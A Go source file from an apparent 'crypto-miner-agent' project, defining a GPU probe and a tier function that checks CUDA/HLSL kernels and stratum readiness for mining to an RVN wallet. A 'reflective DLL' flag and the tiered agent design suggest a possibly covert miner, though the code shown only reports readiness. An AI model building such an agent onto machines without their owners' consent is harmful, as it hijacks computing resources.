package miner import ( "context" "runtime" "strings" "crypto-miner-agent/config" ) // GPUComputeProbe reports local GPU compute capability (CUDA / HLSL path). type GPUComputeProbe struct { CUDAAvailable bool HLSLAvailable bool StratumReady bool KernelPath string ReflectiveDLL bool DiagnosticOnly bool HashrateEstimate float64 } // gpuComputeProbe runs platform GPU probes. Tests override via SetGPUComputeProbe. var gpuComputeProbe = platformGPUComputeProbe // SetGPUComputeProbe restores default when fn is nil. func SetGPUComputeProbe(fn func(cfg config.RuntimeConfig) GPUComputeProbe) { if fn == nil { gpuComputeProbe = platformGPUComputeProbe return } gpuComputeProbe = fn } // RunGPUComputeTier probes CUDA/HLSL kernel paths and stratum_direct readiness. func RunGPUComputeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { if runtime.GOOS != "windows" { return TierAttempt{Tier: TierGPUCompute, Error: "gpu_compute requires windows", Wallet: cfg.Wallet} } select { case <-ctx.Done(): return TierAttempt{Tier: TierGPUCompute, Error: ctx.Err().Error(), Wallet: cfg.Wallet} default: } probe := gpuComputeProbe(cfg) details := map[string]interface{}{ "cuda": probe.CUDAAvailable, "hlsl": probe.HLSLAvailable, "stratum": probe.StratumReady, "kernel_path": probe.KernelPath, "reflective_dll": probe.ReflectiveDLL, "diagnostic": probe.DiagnosticOnly, } if probe.HashrateEstimate > 0 { details["hashrate_estimate_hps"] = probe.HashrateEstimate } if !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" { return TierAttempt{Tier: TierGPUCompute, Error: "gpu mining not configured", Wallet: cfg.Wallet, Details: details} } if !probe.CUDAAvailable && !probe.HLSLAvailable { return TierAttempt{ Tier: TierGPUCompute, Error: "no GPU compute kernel path (CUDA/HLSL probe failed)", Wallet: cfg.Wallet, Details: details, } } if !probe.StratumReady { return TierAttempt{ Tier: TierGPUCompute, Error: "stratum_direct prerequisites not met", Wallet: cfg.Wallet, Details: details, } } return TierAttempt{ Tier: TierGPUCompute, OK: true, Wallet: cfg.Wallet, Details: details, } }